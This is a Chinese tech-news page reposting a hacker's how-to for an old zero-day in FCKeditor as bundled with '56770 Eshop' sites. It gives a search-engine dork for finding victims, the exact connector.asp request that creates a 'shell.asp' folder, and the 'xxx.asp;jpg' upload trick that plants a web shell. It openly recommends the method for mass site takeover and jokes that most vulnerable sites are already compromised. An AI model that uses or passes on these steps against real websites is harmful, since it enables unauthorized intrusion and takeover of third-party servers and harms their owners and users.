扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
很老的一个0day了,但是以前给的利用方法是不正确,导致很多同学无法建立shell.asp目录,因此好多网站没被万人轮。
下面就把正确的方法公布一下
利用方法
Google搜索:Powered By 56770 Eshop
搜索 Powered By 56770 Eshop 获得约 43,700 条结果
随便找一个网站
1.在网站地址后面添加
admin/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=../../connectors/asp/connector.asp
2.在根目录后添加 admin/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
创一个目录 为shell.asp
3.上传一个 xxx.asp;jpg 然后连接 http://xxx.com/pic/UserFiles/file/shell.asp/xxx.asp;jpg 拿shell
没什么技术含量,不过批量拿站还是不错的。
===============================================
建议大家不要再去玩这个洞了,基本上都被搞过了,不是处的没意思,大部分都是万人轮的。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。